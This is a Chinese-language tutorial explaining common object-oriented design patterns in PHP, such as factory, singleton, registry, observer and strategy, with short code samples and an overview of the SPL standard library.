工厂模式是最常用的实例化对象模式,是用工厂方法或类生成对象代替直接new操作的一种模式。 使用工厂模式的好处是,如果想要更改所实例化的类名等则只需更改该工厂方法内容即可,不需逐一寻找代码中具体实例化new的地方修改了。为系统结构提供灵活的动态扩展机制,减少了耦合 工厂模式是对象实例的生产工厂,某些意义上工厂模式提供了通用的方法去获取对象,而不需要关心其具体的内在的实现 工厂模式具体可分为三类模式: 简单工厂模式,工厂方法模式,抽象工厂模式 【 简单工厂模式 - 静态工厂方法(Static Factory Method)模式 】 属于类创建型模式,简单工厂模式可以根据参数的不同返回不同类的实例。简单工厂模式专门定义一个类来负责创建其他类的实例,被创建的实例通常都具有共同的父类 角色: Factory类: 负责创建具体产品的实例 Product类: 抽象产品类,定义产品子类的公共接口 ConcreteProduct 类: 具体产品类,实现Product父类的接口功能,也可添加自定义的功能 最大的优点在于实现对象的创建和对象的使用分离,将对象的创建交给专门的工厂类负责 最大的缺点在于工厂类不够灵活,增加新的具体产品需要修改工厂类的判断逻辑代码,而且产品较多时工厂方法代码将会非常复杂在工厂方法中读取配置,生成可配置化的对象
【 工厂方法模式 】 此模式通过定义一个抽象的核心工厂类,并定义创建产品对象的接口,创建具体产品实例的工作延迟到其工厂子类去完成。这样做的好处是核心类只关注工厂类的接口定义,而具体的产品实例交给具体的工厂子类去创建。当系统需要新增一个产品是,无需修改现有系统代码,只需要添加一个具体产品类和其对应的工厂子类,是系统的扩展性变得很好,符合面向对象编程的开闭原则; 角色: Product: 抽象产品类 ConcreteProduct: 具体产品类 Factory: 抽象工厂类 ConcreteFactory: 具体工厂类 工厂方法模式是简单工厂模式的进一步抽象和推广。由于使用了面向对象的多态性,工厂方法模式保持了简单工厂模式的优点,而且克服了它的缺点。在工厂方法模式中,核心的工厂类不再负责所有产品的创建,而是将具体创建工作交给子类去做。这个核心类仅仅负责给出具体工厂必须实现的接口,而不负责产品类被实例化这种细节,这使得工厂方法模式可以允许系统在不修改工厂角色的情况下引进新产品
【 AbstractFactory 抽象工厂模式 】 提供一个创建一系列相关或相互依赖对象的接口,而无须指定它们具体的类。抽象工厂模式又称为Kit模式,属于对象创建型模式。 有些情况下需要根据不同的选择逻辑提供不同的构造工厂,而对于多个工厂而言需要一个统一的抽象工厂 此模式是对工厂方法模式的进一步扩展。在工厂方法模式中一个具体的工厂负责生产一类具体的产品,即一对一的关系,但是如果需要一个具体的工厂生产多种产品对象,那么就需要用到抽象工厂模式了。 产品等级结构 产品等级结构即产品的继承结构,如一个抽象类是电视机,其子类有海尔电视机、海信电视机、TCL电视机,则抽象电视机与具体品牌的电视机之间构成了一个产品等级结构,抽象电视机是父类,而具体品牌的电视机是其子类。 产品族 在抽象工厂模式中,产品族是指由同一个工厂生产的,位于不同产品等级结构中的一组产品,如海尔电器工厂生产的海尔电视机、海尔电冰箱,海尔电视机位于电视机产品等级结构中,海尔电冰箱位于电冰箱产品等级结构中。 角色: 抽象工厂(AbstractFactory): 担任这个角色的是抽象工厂模式的核心,是与应用系统的商业逻辑无关的。 具体工厂(Factory): 这个角色直接在客户端的调用下创建产品的实例,这个角色含有选择合适的产品对象的逻辑,而这个逻辑是与应用系统商业逻辑紧密相关的。 抽象产品(AbstractProduct): 担任这个角色的类是抽象工厂模式所创建的对象的父类,或它们共同拥有的接口 具体产品(Product): 抽象工厂模式所创建的任何产品对象都是一个具体的产品类的实例。
责任链模式
责任链非常适合的一种场景,就是对请求参数进行逐层过滤,就像我们工作时使用钉钉之类的办公软件。当需要提加班或者休假申请时,那一层层的审批流程就是对这个模式最完美的解释 我们可以拦截请求,直接返回,也可以对请求内容进行完善修改交给下一个类来进行处理,但至少有一个类是要返回结果的。 请求不一定都会被处理,也有可能完全不处理就返回或者传递给下一个处理类来进行处理 流水线就非常像责任链模式,有操作员将手机主板(初始请求)放到流水线上,然后工人开始添加内存、CPU、摄像头(各种责任链条类进行处理),期间也会经过测试和调整以达到最佳出厂性能。最后拼装成一台完整的手机交到客户的手中 短信功能,但这次我们要实现的是一个短信内容过滤的子功能。大家都知道,我们对广告有着严格的规定,许多词都在广告法中被标记为禁止使用的词汇,更有些严重的词汇可能会引来不必要的麻烦。这时候,我们就需要一套过滤机制来进行词汇的过滤。针对不同类型的词汇,我们可以通过责任链来进行过滤,比如严重违法的词汇当然是这条信息都不能通过。一些比较严重但可以绕过的词,我们可以进行替换或者加星处理,这样,客户端不需要一大堆的if..else..来进行逻辑判断,使用责任链让他们一步步的进行审批就好啦!! 责任链的运用真的非常广泛,在各种工作流软件及中间件组件中都可以看到,同时配合Linux下的管道思想,可以把这个模式的优势发挥到极致
原型模式
原型模式和工厂模式都是用来创建对象,与工厂模式的实现不同,原型模式是先创建好一个原型对象,然后通过clone原型对象来创建新的对象,这样就免去了类创建时重复的初始化操作,减少代码量 原型模式适用于大对象的创建,创建一个大对象需要很大的开销,如果每次new就会消耗很大,原型模式是仅需内存拷贝即可 重复型操作如init()可以放到原型对象上,每次需要新的对象时不是new一个对象,而是clone原型对象
装饰器模式 Decorator
修饰模式是面向对象编程中一种动态地往一个类中添加新的行为(功能)或修改类的功能的设计模式。就功能而言,修饰模式相比生成子类更为灵活,这样可以给某个对象而不是整个类添加一些功能。 一般来说给一个对象或类增加行为的方式可以有两种: 1、继承机制,使用继承机制是给现有类添加功能的一种有效途径,通过继承一个现有类可以使得子类在拥有自身方法的同时还拥有父类的方法。但是这种方法是静态的,用户不能控制增加行为的方式和时机。 2、关联机制,即将一个类的对象嵌入另一个对象中,由另一个对象来决定是否调用嵌入对象的行为以便扩展自己的行为,这个嵌入的对象被称为装饰器(Decorator) 通过使用修饰模式,可以在运行时扩充一个类的功能。原理: 增加一个修饰类包裹原来的类,包裹的方式一般是通过在将原来的对象作为修饰类的构造函数的参数。装饰类实现新的功能,但是在不需要用到新功能的地方,它可以直接调用原来的类中的方法。修饰类必须和原来的类有相同的接口。 修饰模式是类继承的另外一种选择。类继承在编译时候增加行为,而装饰模式是在运行时增加行为。 装饰器模式实现权限验证、模板渲染、json串化、频率限制装饰器,对对象(脸)进行各种装饰(化妆),让这个脸更好看(增加职责)
注册器模式
注册模式解决全局共享和交换对象。已经创建好的对象挂在到某个全局可以使用的数组上,在需要使用的时候直接从该数组上获取即可。将对象注册到全局的树上,任何地方直接去访问
在所有模式设计中,有三种基础设计模式,单例模式,工厂模式,注册树模式,其他模式往往基于这几种模式,接下来跟着小编一起来学习php基础设计模式(注册树模式、工厂模式、单列模式)。
注册树模式
注册树模式也叫注册模式,注册器模式。注册树模式通过将对象实例注册到一棵全局的对象树上,需要的时候从对象树上采摘的模式设计方法。
单例模式解决的是如何在整个项目中创建唯一对象实例的问题,工厂模式解决的是如何不通过new建立实例对象的方法。
那么注册树模式想解决什么问题呢?在考虑这个问题前有必要考虑下前两种模式目前面临的局限。
首先,单例模式创建唯一对象的过程本身还有一种判断,即判断对象是否存在。存在则返回对象,不存在则创建对象并返回。每次创建实例对象都要存在这么一层判断。 工厂模式更多考虑的是扩展维护的问题。
总的来说,单例模式和工厂模式可以产生更加合理的对象。
怎么方便调用这些对象呢?而且在项目内如此建立的对象好像散兵一样,不便统筹管理安排,因而注册树模式应运而生。不管是通过单例模式还是工厂模式还是二者结合生成的对象,都统统插到注册树上。
用某个对象的时候,直接从注册树上取一下就好。这和使用全局变量一样的方便实用,而且注册树模式还为其他模式提供了一种非常好的想法。
实现注册树
首先需要一个作为注册树的类,所有的对象"插入"到注册树上。这个注册树应该由一个静态变量来充当。而且这个注册树应该是一个二维数组。
这个类应该有一个插入对象实例的方法(set()),当让相对应的就应该有一个撤销对象实例的方法(_unset()),最重要的是还需要有一个读取对象的方法(get())。拥有这些就可以愉快地完成注册树模式啦
下面让三种模式做个小小的结合。单纯创建一个实例对象远远没有这么复杂,但运用于大型项目的话,便利性便不言而喻了。
//创建单例
class Single{
public $hash;
static protected $ins=null;
final protected function __construct(){
$this->hash=rand(1,9999);
}
static public function getInstance(){
if (self::$ins instanceof self) {
return self::$ins;
}
self::$ins=new self();
return self::$ins;
}
}
//工厂模式
class RandFactory{
public static function factory(){
return Single::getInstance();
}
}
//注册树
class Register{
protected static $objects;
public static function set($alias,$object){
self::$objects[$alias]=$object;
}
public static function get($alias){
return self::$objects[$alias];
}
public static function _unset($alias){
unset(self::$objects[$alias]);
}
}
Register::set('rand',RandFactory::factory());
$object=Register::get('rand');
print_r($object);
至此,三种模式设计介绍完毕。各种模式设计本身就会相辅相成,往后介绍其他模式的时候,多多少少会用到一种或多种其他设计模式。
工厂模式
工厂类调用自身静态方法来生产对象实例。
工厂模式有一个关键的构造,根据一般原则命名为Factory的静态方法,然而这只是一种原则,虽然工厂方法可以任意命名这个静态还可以接受任意数据的参数,必须返回一个对象。
不去套用那些易维护,可扩展之类的话,可以考虑这样一个简单的问题。如果项目中通过一个类创建对象。在快完成或者已经完成,要扩展功能的时候,发现原来的类名不是很合适或发现类需要添加构造函数参数才能实现功能扩展。都通过这个类创建了一大堆对象实例了啊,难道还要一个一个去改不成?现在才感受到了"高内聚低耦合"的博大精深。没问题,工厂方法可以解决这个问题。
再考虑一下,连接数据库在php里面就有好几种方法,mysql扩展,mysqli扩展,PDO扩展。想要一个对象用来以后的操作,具体要哪个,视情况而定。既然都是连接数据库的操作,就应该拥有相同的功能,建立连接,查询,断开连接。总之这几种方法应该"团结一致,一致对外"。
工厂类,工厂类里面的静态方法。静态方法里面new一下需要创建的对象实例就搞定了。
当然至于考虑上面的第二个问题,根据工厂类静态方法的参数,我们简单做个判断就好了。
管你用if..else..还是switch..case..,能快速高效完成判断该创建哪个类的工作就好了。
最后,一定要记得,工厂类静态方法返回一个对象。不是两个,更不是三个。
基本的工厂类:
//要创建对象实例的类
class MyObject{
}
//工厂类
class MyFactory{
public static function factory(){
return new MyObject():
}
}
$instance=MyFactory::factory();
一个稍微复杂的工厂模式:
interface Transport{
public function go();
}
class Bus implements Transport{
public function go(){
echo "bus每一站都要停";
}
}
class Car implements Transport{
public function go(){
echo "car跑的飞快";
}
}
class Bike implements Transport{
public function go(){
echo "bike比较慢";
}
}
class transFactory{
public static function factory($transport)
{
switch ($transport) {
case 'bus':
return new Bus();
break;
case 'car':
return new Car();
break;
case 'bike':
return new Bike();
break;
}
}
}
$transport=transFactory::factory('car');
$transport->go();
需要工厂静态方法为factory()的时候,千万别再傻乎乎的把工厂类命名为Factory了。为啥啊?别忘了同名构造函数的事儿啊~
单列模式
很多接触的框架就是基于各种模式设计形成的。简单说,在写代码的过程中一开始往往接触的是面向过程的,简单的基础的编程。
这个时候往往追求的是代码能够实现某项功能就万事大吉。管他代码多么冗余,管他代码是否可重用,管他效率如何,能实现功能就好。
但是,真正应用于实际的,更被大家采纳的是那些高效的,可重用的,便于团队开发的代码。
基于这些因素,不能像练手一样,随便命名函数名,随便放置脚本。模式设计告诉是给人们组织代码提供一种思路,实现可重用代码、让代码更容易被他人理解、保证代码可靠性。
在所有模式设计中,有三种基础设计模式,单例模式,工厂模式,注册树模式,其他模式往往基于这几种模式,下面介绍的是单例模式。
单例模式指的是在整个应用中只有一个对象实例的设计模式。
php常常和数据库打交道,如果在应用中如果频繁建立连接对象,进行new操作的话,会消耗大料的系统内存资源,这并不是我们希望看到的。
再则,在团队合作项目中,单例模式可以有效避免不同程序员new自己的对象,造成人为的系统消耗。
如何建立单例模式?
在看到这个问题的时候,相信优秀的程序员很可能自己试着根据要求去创建单例模式,而不是坐等前人的经验。
区别于其他博友告诉你什么样的模式是单例模式,我人更愿意和有面向对象编程基本经验的你考虑一下如何自己建立单例模式。
我们首先从题目出发,单例模式是只有一个对象实例的设计模式。这一点是很让人蛋疼的。平常创建的类不是能创建很多对象的,就是不能创建对象的(抽象类)。要创建对象需要有类这是必须的,而且不能是抽象类。这个类要防止别人可以多次创建函数。我们自然而然考虑到了从构造函数入手。
但是,每次new操作都会调用构造函数,也就是会多次创建对象实例。这和设计初衷相悖了。在此处务必申明构造函数为private或者protected这样才能解决这个问题。
构造函数被申明为private或者protected这注定无法通过new的方法创建实例对象了。而且我们发现,经过这一步处理后,解决问题的前景变得明朗起来?为什么呢?既然无法通过new方法创建对象实例,那么我们只能通过类内的方法来创建对象实例了。
这个时候我们面临一个有趣的先有鸡还是先有蛋的问题。我们往往往往是创建了对象后才调用对象的方法,而此时需要调用类里面的方法来创建对象。不受是否创建对象影响都能调用的方法的解决方案毋庸置疑那就是利用关键字--static。
在类内创建静态方法完成完成什么工作呢?回归主题:确保只创建一个实例对象。
如何确保只有一个呢?这很简单,if判断一下啊。存在的话直接返回,不存在自己创建一个嘛。当然这个实例对象是类的静态属性。
至此,单例模式要求的功能实现完成。真的完成了么?还不算~如果有个类继承本类,将构造方法申明为public那不又坏事儿了?那有必要在构造方法前加final关键字了。
class Single{
public $hash;
static protected $ins=null;
final protected function __construct(){
$this->hash=rand(1,9999);
}
static public function getInstance(){
if (self::$ins instanceof self) {
return self::$ins;
}
self::$ins=new self();
return self::$ins;
}
}
构造方法原来不一直是public啊~还可以不通过new创建对象啊~其实笔者想说,不管构造方法被申明为public,private还是protected,最终创建对象的时候都会调用。
一直是new创建对象实例,单例模式也用new创建对象,只是换个地方而已,从类外到类内
Facade模式 - 门面模式又称外观模式
为子系统中的一组接口提供一致的界面。门面模式定义了一个高层接口,这个接口使得子系统更加容易使用: 引入门面角色之后,用户只需要直接与门面角色交互,用户与子系统之间的复杂关系由门面角色来实现,从而降低了系统的耦合度 Facade模式本质上是一个把工作推给别人做的的类,其存在的价值可以从服务容器谈起,Facade模式可以很好的精简代码 角色: Facade: 外观角色,提供高级接口 SubSystem: 子系统角色,负责各自的功能实现 最大的优点就是子系统与客户端之间是松耦合的关系,客户端不必知道具体有哪些子系统,也无需知道他们是如何工作的,通过引入一个外观类Facade,提供一个客户端间接访问子系统的高级接口。子系统和外观类可以独立运作,修改某一个子系统的内容,不会影响到其他子系统,也不会影响到外观对象。不过它的缺点就是它不够灵活,当需要增加一个子系统的时需要修改外观类
命令模式
在软件设计中经常需要向某些对象发送请求,但是并不知道请求的接收者是谁,也不知道被请求的操作是哪个,只需在程序运行时指定具体的请求接收者即可,此时可以使用命令模式来进行设计,使得请求发送者与请求接收者消除彼此之间的耦合,让对象之间的调用关系更加灵活。 主要特点就是将一个请求封装为一个对象,从而可用不同的请求对客户进行参数化;对请求排队或记录请求日志,以及支持可撤销的操作。命令模式是一种对象行为型模式,其别名为动作(Action)模式或事务(Transaction)模式。 命令模式,也称为动作或者事务模式,很多教材会用饭馆来举例。作为顾客的我们是命令的下达者,服务员是这个命令的接收者,菜单是这个实际的命令,而厨师是这个命令的执行者。那么,这个模式解决了什么呢?当你要修改菜的时候,只需要和服务员说就好了,她会转达给厨师,也就是说,我们实现了顾客和厨师的解耦。也就是调用者与实现者的解耦。当然,很多设计模式可以做到这一点,但是命令模式能够做到的是让一个命令接收者实现多个命令(服务员下单、拿酒水、上菜),或者把一条命令转达给多个实现者(热菜厨师、凉菜厨师、主食师傅)。这才是命令模式真正发挥的地方 角色 Command: 抽象命令类 ConcreteCommand: 具体命令类 Invoker: 调用者 Receiver: 接收者 Client:客户类
Proxy(代理模式)
代理模式为其他对象提供一种代理以控制对这个对象的访问。使用代理模式创建代理对象,让代理对象控制目标对象的访问,并且可以在不改变目标对象的情况下添加一些额外的功能。目标对象可以是远程的对象、创建开销大的对象或需要安全控制的对象 在客户端和实体之间建立一个代理对象,客户端对实体进行操作全部委派给代理对象,隐藏实体的具体实现细节 proxy还可以与业务代码分离,部署到另外的服务器,业务代码中通过RPC来委派任务 某些情况下一个客户不想或不能直接引用另一个对象,而代理对象可以在客户端和目标对象之间起到中介的作用,并且可以通过代理对象去掉客户不能看到的内容和服务或添加客户需要的额外服务。 经典例子就是网络代理,想访问Facebook或Twitter找个代理来绕过GFW 代理人这个职业在中国有另外一个称呼,房产经济人、保险经济人,其实这个职业在国外都是叫做房产代理或者保险代理。顾名思义,就是由他们来帮我们处理这些对我们大部分人来说都比较生疏的专业领域的工作。代理模式也是一样的道理 代理模式与装饰器、适配器的区别,另外,模板方法模式也和它很像 装饰器,一般是对对象进行装饰,其中的方法行为会有增加,以修饰对象为主 适配器,一般会改变方法行为,目的是保持接口的统一但得到不同的实现 模板方法模式,模板方法是在抽象类中去组合调用子类的方法 代理模式有几种形式:远程代理如第三方接口SDK、虚代理如异步加载图片、保护代理&智能指引如权限保护,而我们代码实现的最普通的代理,其实就是让代理类来代替真实类的操作 正向代理和反向代理 通常所说的科学上网(fanqiang)就是正向代理,由使用软件或者自己配置代理网关上网,实际就是把请求发送到指定的网关,再由这个网关代替我们去访问其他网站,这种由我们指定选择的代理就是正向代理 PHPer们大多还是比较清楚反向代理的,毕竟现在Nginx已经代替Apache成为了PHP标配了。当访问一个网站的时候,某些路径或者域名并不一定是在这台服务器上,他们在服务器上直接代理到了其他的服务器甚至是别人家的站点。对于这个这些浏览网站的人是不知道的,这种不知道就被莫名其妙代理了的情况就是反向代理,一般在服务后台运维中是必备知识代理添加前置操作和后置操作用简单的代理模式增加短信功能一些前后的提示mysql读写分离: 代理模式实现数据库的主从自动切换
中介者模式
用一个中介对象来封装一系列的对象交互。中介者使各对象不需要显式地相互引用,从而使其耦合松散,而且可以独立地改变它们之间的交互。就比如微信聊天发送的聊天内容需要通过微信服务器进行中间处理,然后下发给好友,微信服务器就是一个中介者。 在外工作经常会和一类人有很深的接触,那就是房产中介。因为工作或生活的变动,不可避免的要经常和房产中介打交道。有时租房并不一定会知道房主的信息,房主也不用知道我们的信息,全部都由中介来进行处理,中介就成为了沟通的桥梁,这种情况其实就像是房主出国了或者在外地有事儿而将房子完全的托管到了中介手中。类似于这种情况,在代码世界中,就是中介者模式的典型应用 每一个同事类,只认识中介者,并不认识另外的同事类,这就是中介者的特点,双方不用认识 角色 Mediator: 抽象中介者 ConcreteMediator: 具体中介者 Colleague: 抽象同事类 ConcreteColleague: 具体同事类 中介者模式的两个主要作用: 中转作用(结构性): 通过中介者提供的中转作用,各个同事对象不再需要显式引用其他同事,当需要和其他同事进行通信时通过中介者即可,该中转作用属于中介者在结构上的支持。 协调作用(行为性): 中介者可以更进一步的对同事之间的关系进行封装,同事可以一致地和中介者进行交互,而不需要指明中介者需要具体怎么做,中介者根据封装在自身内部的协调逻辑,对同事的请求进行进一步处理,将同事成员之间的关系行为进行分离和封装,该协调作用属于中介者在行为上的支持。 这个模式很适合做一些通讯类的产品,聊天社交、sns、直播之类的都很合适,因为这个模式就是能让用户与用户之间解耦,不需要让一个用户去维护所有有关联的用户对象 因为不需要用户去维护关系,所以也就顺便解决了关系之间的多对多维护的问题,同时也不需要去修改用户类来进行关系的变更,保持了用户类的良好封装 但中介者集中维护可能导致这个类过于复杂和庞大,所以模式不是万能的,一定要弄清楚业务场景进行取舍地使用 中介者适用于一组对象以定义良好但是复杂的方式进行通信的场合,以及想定制一个分布在多个类中的行为,而又不想生成太多子类的场合使用中介者模式实现简单的在线聊天室,需求就是让进入聊天室的用户都可以在线聊天
中介者就是这个"聊天室",由它来进行信息的传递转移 这里由于不固定用户人数,因此是一个数组维护的,当用户发送消息的时候,除了他自己,其他人都收到了这条消息 聊天室可以自由地进出用户,说实话,这个例子真的很像一个已经差不多实现功能了的聊天应用哦 果然中介者模式真的很适合通信方面的应用,但如果进入的用户非常多,$users列表就会越来越臃肿了哦,这就是上文中所述的中介者模式的问题所在
适配器模式 adapter pattern
将各种截然不同的函数接口封装成统一的API 此模式是源于类似于电源适配器的设计和编码技巧。比如现在有一些类,提供一些可用的接口,但可能客户端因为不兼容的原因,不能直接调用这些现有的接口,这时就需要一个适配器来作为中转站,适配器类可以向用户提供可用的接口,其内部将收到的请求转换为对适配者对应接口的真实请求,从而实现对不兼容的类的复用。 优点: 将目标类和适配者类解耦,通过引入一个适配器类来重用现有的适配者类,而无须修改原有代码。增加了类的透明性和复用性,将具体的实现封装在适配者类中,对于客户端类来说是透明的,而且提高了适配者的复用性。 角色: Target: 目标抽象类 Adapter: 适配器类 Adaptee: 适配者类 Client: 客户类
PHP中的数据库操作有MySQL,MySQLi,PDO三种,可以用适配器模式统一成一致,使不同的数据库操作统一成一样的API。类似的场景还有cache适配器,可以将memcache,redis,file,apc等不同的缓存函数统一成一致。 首先定义一个接口(有几个方法以及相应的参数)。然后有几种不同的情况 就写几个类实现该接口。将完成相似功能的函数,统一成一致的方法
桥接模式
桥接模式是软件设计模式中最复杂的模式之一,它把事物对象和其具体行为、具体特征分离开来,使它们可以各自独立的变化。事物对象仅是一个抽象的概念。如"圆形"、"三角形"归于抽象的"形状"之下,而"画圆"、"画三角"归于实现行为的"画图"类之下,然后由"形状"调用"画图"。 理解桥接模式,重点需要理解如何将抽象化(Abstraction)与实现化(Implementation)脱耦,使得二者可以独立地变化。桥接模式提高了系统的可扩充性,在两个变化维度中任意扩展一个维度,都不需要修改原有系统。 角色: Abstraction: 定义抽象的接口,该接口包含实现具体行为、具体特征的Implementor接口 Refined Abstraction: 抽象接口Abstraction的子类,依旧是一个抽象的事物名 Implementor: 定义具体行为、具体特征的应用接口 ConcreteImplementor: 实现Implementor接口
TemplateMethod(模板方法模式)
模板模式准备一个抽象类,将部分逻辑以具体方法以及具体构造形式实现,然后声明一些抽象方法来迫使子类实现剩余的逻辑。不同的子类可以以不同的方式实现这些抽象方法,从而对剩余的逻辑有不同的实现。先制定一个顶级逻辑框架,而将逻辑的细节留给具体的子类去实现
Observer(观察者模式)
当一个对象状态发生变化时,依赖它的对象全部会收到通知,并自动更新。 场景:一个事件发生后要执行一连串更新操作,传统的编程方式就是在事件的代码之后直接加入处理的逻辑,当更新的逻辑增多之后代码会变得难以维护。这种方式是耦合的、侵入式的,增加新的逻辑需要修改事件的主体代码。 观察者模式实现了低耦合,非侵入式的通知与更新机制。 在此种模式中,一个目标对象管理所有相依于它的观察者对象,并且在它本身的状态改变时主动发出通知。这通常透过呼叫各观察者所提供的方法来实现。此种模式通常被用来实时事件处理系统。观察者模式又叫做发布-订阅(Publish/Subscribe)模式、模型-视图(Model/View)模式、源-监听器(Source/Listener)模式或从属者(Dependents)模式 角色 Subject: 抽象目标类,一般至少提供三个接口: 添附(Attach): 新增观察者到串炼内,以追踪目标对象的变化。 解附(Detach): 将已经存在的观察者从串炼中移除。 通知(Notify): 利用观察者所提供的更新函式来通知此目标已经产生变化。 ConcreteSubject: 具体目标,提供了观察者欲追踪的状态,也可设置目标状态 Observer: 抽象观察者,定义观察者的更新操作接口 ConcreteObserver: 具体观察者,实现抽象观察者的接口,做出自己的更新操作 主要作用: 当抽象个体有两个互相依赖的层面时。封装这些层面在单独的对象内将可允许程序员单独地去变更与重复使用这些对象,而不会产生两者之间交互的问题。 当其中一个对象的变更会影响其他对象,却又不知道多少对象必须被同时变更时。 当对象应该有能力通知其他对象,又不应该知道其他对象的实做细节时
观察者,其实就是自身做了一个更新update,而Subject可以批量的执行观察者,不需要去修改目标类中的任何代码,只需要从外部添加就可以了,所以就让目标和观察者解耦互相之间不用关心对方的情况了 观察者可以记录目标的状态,也可以不用记录,比如发完短信后的数据库更新或插入操作,只有短信接口发送成功后再修改短信数据的状态就可以了,不一定完全需要将目标的发送状态传送给观察者 当一个类在发生改变时,不知道可能会对其他多少类产生影响,这个时候观察者非常有用 观察者模式中还是存在着耦合,那就是目标类中有一个观察者对象列表,如果观察者没有实现update()方法,那么就会出现问题 接着拿手机工厂说事儿,这次被一帮山寨机盯上了(观察者),我出什么功能(状态更新),他们就对应的出一样的功能(更新),而且还在我的基础上做了更多的东西,美其名曰:微创新!你说气人不气人。好吧,我也派出了一帮市场调查人员(观察者),去帮我观察别人家的手机都出了什么功能(状态更新),然后我们也照搬过来搞点微创新,大家共同进步嘛!! 实例 这次从订单说起,当一般的电商平台有人下单之后,需要做的事情非常多,比如修改库存、发送短信或者推送告诉商家有人下单了,告诉买家下单成功了,支付成功了。总之就是一件事情的发生会导致各种事件的产生。其实,这里就引出了另一个非常出名的模式订阅发布模式。这个模式可以说是观察者的升级模式,可以去看看Laravel中的发布订阅及事件监听方面的内容PHP的SPL扩展中已经准备好了一套观察者接口,使用原生支持的观察者模式能省不少事
状态模式
状态模式: 允许一个对象在其内部状态改变时改变它的行为。对象看起来似乎修改了它的类。其别名为状态对象(Objects for States),状态模式是一种对象行为型模式。 一个对象的行为取决于一个或多个动态变化的属性,行为随其一个或多个具体的属性变化而变化,这些属性叫做状态,,这样的的对象也叫作有状态的对象。 比如订单的支付状态;而这些订单状态的值是预先知道的:已支付、未支付;当订单在客户操作过程中可能会改变支付状态,订单从未支付到已支付,就形成订单真正成功下单。 适用场景: 一个对象的行为取决于它的状态,并且它必须在运行时根据状态改变它的行为; 一个操作中含有庞大的多分支结构,并且这些分支决定于对象的状态。 角色 Context: 环境类,维护一个ConcreteState子类的实例,这个实例定义当前状态; State: 抽象状态类,定义一个接口以封装与Context的一个特定状态相关的行为; ConcreteState: 具体状态类,每一个子类实现一个与Context的一个状态相关的行为
策略模式
策略模式是对象的行为模式,用意是对一组特定的行为和算法的封装成类,以适应某些特定的上下文环境,动态的选择需要的算法并使用。 策略模式是程序中涉及决策控制的一种模式。策略模式功能非常强大,因为这个设计模式本身的核心思想就是面向对象编程的多形性思想。 策略模式的三个角色: 1.抽象策略角色 2.具体策略角色 3.环境角色(对抽象策略角色的引用) 实现步骤: 1.定义抽象角色类(定义好各个实现的共同抽象方法) 2.定义具体策略类(具体实现父类的共同方法) 3.定义环境角色类(私有化申明抽象角色变量,重载构造方法,执行抽象方法) 就在编程领域之外,有许多例子是关于策略模式的。例如: 从家里出发去上班,可以有几个策略考虑: 可以乘坐地铁,乘坐公交车,走路或其它的途径。每个策略可以得到相同的结果,但是使用了不同的资源。 使用策略模式可以实现Ioc,依赖倒置、控制反转 实际用例 电商网站系统针对男女用户要各自跳转到不同的商品类目,并且所有的广告位展示不同的广告 控制反转: Page类中调用了UserStrategy接口实现的类,即Page类依赖于UserStrategy接口实现的类,代码中使用策略模式解耦,将它们的依赖关系进行了反转,编写Page类时不需要定义好UserStrategy接口实现的类,而是在执行过程中才将关系进行绑定,可以很方便的去替换掉其中的每一个类
数据对象映射模式 数据库ORM框架Doctrine
如果不想使用任何框架,只想使用数据库相关操作,Doctrine是个合适的选择。对象关系映射器(ORM)和数据库抽象层(DBAL)底层类库,像Lavaral、Symfony都有代码集成 数据对象映射模式是将对象和数据存储映射起来,对一个对象的操作会映射为对数据存储的操作 实现数据对象映射,实现一个ORM类,将复杂的sql语句映射成对象属性的操作利用__construct自动获取数据,__destruct自动更新数据,对象属性的读写隐藏对数据库的操作结合使用数据对象映射模式,工厂方法模式,注册器模式
迭代器模式 实现Iterator接口
迭代器模式是在不需要了解内部实现的前提下遍历聚合对象的内部元素 相比于传统编程模式,迭代器模式可以隐藏遍历元素的操作
Builder(建造者模式、生成器模式)
建造者模式是一种对象构建模式,可以将复杂对象的建造过程抽象出来(抽象类别),使这个抽象过程的不同实现方法可以构造出不同表现(属性)的对象。将一个复杂对象的构造与它的表示分离,使同样的构建过程可以创建不同的表示 建造者模式是一步一步创建一个复杂的对象,允许用户只通过指定复杂对象的类型和内容就可以构建它们,用户不需要知道内部的具体构建细节。例如,一辆汽车由轮子,发动机以及其他零件组成,对于普通人而言使用的只是一辆完整的车,这时需要加入一个构造者,让他帮我们把这些组件按序组装成为一辆完整的车。 角色: Builder: 抽象构造者类,为创建一个Product对象的各个部件指定抽象接口。 ConcreteBuilder: 具体构造者类,实现Builder的接口以构造和装配该产品的各个部件。定义并明确它所创建的表示。提供一个检索产品的接口 Director: 指挥者,构造一个使用Builder接口的对象。 Product: 表示被构造的复杂对象。ConcreateBuilder创建该产品的内部表示并定义它的装配过程。 包含定义组成部件的类,包括将这些部件装配成最终产品的接口
php标准库spl http://php.net/spl
SPL为PHP标准库Standard PHP Library,从PHP5.0起内置的组件和接口,无需任何设置,主要包括数据结构类、迭代器、异常类、SPL函数和一些接口。
SPL是用于解决典型问题(standard problems)的一组接口与类的集合。
数据结构类主要包括栈、队、堆、数组等基本数据结构,php已经封装好了,如果要做数据处理可以直接拿来用
迭代器是php的新特征,在oop中使用很灵活,比如可以用来遍历对象数组。
异常类主要是把一些常见异常封装起来做成了接口,通俗讲就是有个模版格式照着要求扩展即可。
SPL函数里面有个很重要的东西,spl_autoload_register(),在oop中用来实现自动加载。
其它的接口如SplObserver接口实现观察者模式很方便
数据结构类
SplDoublyLinkedList
SplStack
SplQueue
SplHeap
SplMaxHeap
SplMinHeap
SplPriorityQueue
SplFixedArray
SplObjectStorage
迭代器类
AppendIterator
ArrayIterator
CachingIterator
CallbackFilterIterator
DirectoryIterator
EmptyIterator
FilesystemIterator
FilterIterator
GlobIterator
InfiniteIterator
IteratorIterator
LimitIterator
MultipleIterator
NoRewindIterator
ParentIterator
RecursiveArrayIterator
RecursiveCachingIterator
RecursiveCallbackFilterIterator
RecursiveDirectoryIterator
RecursiveFilterIterator
RecursiveIteratorIterator
RecursiveRegexIterator
RecursiveTreeIterator
RegexIterator
接口
Countable
OuterIterator
RecursiveIterator
SeekableIterator
异常类
BadFunctionCallException
BadMethodCallException
DomainException
InvalidArgumentException
LengthException
LogicException
OutOfBoundsException
OutOfRangeException
OverflowException
RangeException
RuntimeException
UnderflowException
UnexpectedValueException
SPL函数
class_implements — 返回指定的类实现的所有接口
class_parents — 返回指定类的父类
class_uses — Return the traits used by the given class
iterator_apply — 为迭代器中每个元素调用一个用户自定义函数
iterator_count — 计算迭代器中元素的个数
iterator_to_array — 将迭代器中的元素拷贝到数组
spl_autoload_call — 尝试调用所有已注册的__autoload()函数来装载请求类
spl_autoload_extensions — 注册并返回spl_autoload函数使用的默认文件扩展名。
spl_autoload_functions — 返回所有已注册的__autoload()函数。
